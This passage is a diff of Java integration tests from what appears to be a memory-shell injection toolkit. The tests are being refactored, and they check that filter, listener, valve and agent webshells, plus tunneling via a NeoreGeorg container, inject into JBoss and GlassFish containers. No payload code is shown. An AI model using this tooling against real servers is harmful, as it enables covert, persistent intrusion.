@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V17);
} }
} }
@@ -1,89 +1,56 @@
package com.reajason.javaweb.integration.memshell.jbossas; package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.Map;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/10 * @since 2024/12/10
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class Jboss423ContainerTest { public class Jboss423ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/jboss:4-jdk6"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
static Network network = Network.newNetwork(); "reajason/jboss:4-jdk6",
"/usr/local/jboss/server/default/deploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.env(Map.of("JAVA_OPTS",
"-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000"))
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
.withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.JBoss; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
} }
} }
@@ -1,91 +1,55 @@
package com.reajason.javaweb.integration.memshell.jbossas; package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/10 * @since 2024/12/10
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class Jboss510ContainerTest { public class Jboss510ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/jboss:5-jdk6"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
static Network network = Network.newNetwork(); "reajason/jboss:5-jdk6",
"/usr/local/jboss/server/web/deploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.Behinder))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.JBoss; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
} }
} }
@@ -1,87 +1,53 @@
package com.reajason.javaweb.integration.memshell.jbossas; package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/10 * @since 2024/12/10
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class Jboss610ContainerTest { public class Jboss610ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/jboss:6-jdk7"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
static Network network = Network.newNetwork(); "reajason/jboss:6-jdk7",
"/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.JBoss; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
} }
} }
@@ -1,90 +1,53 @@
package com.reajason.javaweb.integration.memshell.jbossas; package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/10 * @since 2024/12/10
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class Jboss711ContainerTest { public class Jboss711ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/jboss:7-jdk7"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
static Network network = Network.newNetwork(); "reajason/jboss:7-jdk7",
"/usr/local/jboss/standalone/deployments/app.war")
.targetJdkVersion(Opcodes.V1_7)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
/** @Override
* 找不到 Templates 类暂时先不测试反序列化 protected ContainerTestConfig getConfig() {
*/ return CONFIG;
static Stream<Arguments> casesProvider() {
String server = Server.JBoss;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_7);
} }
} }
@@ -1,89 +1,53 @@
package com.reajason.javaweb.integration.memshell.jbosseap; package com.reajason.javaweb.integration.memshell.jbosseap;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/10 * @since 2024/12/10
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class JbossEap6ContainerTest { public class JbossEap6ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/jboss:eap-6-jdk8"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
static Network network = Network.newNetwork(); "reajason/jboss:eap-6-jdk8",
"/usr/local/jboss/standalone/deployments/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.JBoss; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
} }
} }
@@ -1,86 +1,50 @@
package com.reajason.javaweb.integration.memshell.jbosseap; package com.reajason.javaweb.integration.memshell.jbosseap;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/10 * @since 2024/12/10
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class JbossEap7ContainerTest { public class JbossEap7ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/jboss:eap-7-jdk8"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
static Network network = Network.newNetwork(); "reajason/jboss:eap-7-jdk8",
"/usr/local/jboss/standalone/deployments/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = buildContainer(CONFIG, network);
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() { @Override
String server = Server.Undertow; protected ContainerTestConfig getConfig() {
List<String> supportedShellTypes = List.of( return CONFIG;
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6);
} }
} }
@@ -1,89 +1,56 @@
package com.reajason.javaweb.integration.memshell.jbosseap; package com.reajason.javaweb.integration.memshell.jbosseap;
import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List; import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/10 * @since 2024/12/10
*/ */
@Slf4j
@Testcontainers @Testcontainers
public class JbossEap81ContainerTest { public class JbossEap81ContainerTest extends AbstractContainerTest {
public static final String imageName = "reajason/jboss:eap-8.1-jdk17"; private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow(
static Network network = Network.newNetwork(); "reajason/jboss:eap-8.1-jdk17",
"/usr/local/jboss/standalone/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V17)
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER
))
.build();
static Network network = newNetwork();
@Container @Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile() public static final GenericContainer<?> python = buildPythonContainer(network);
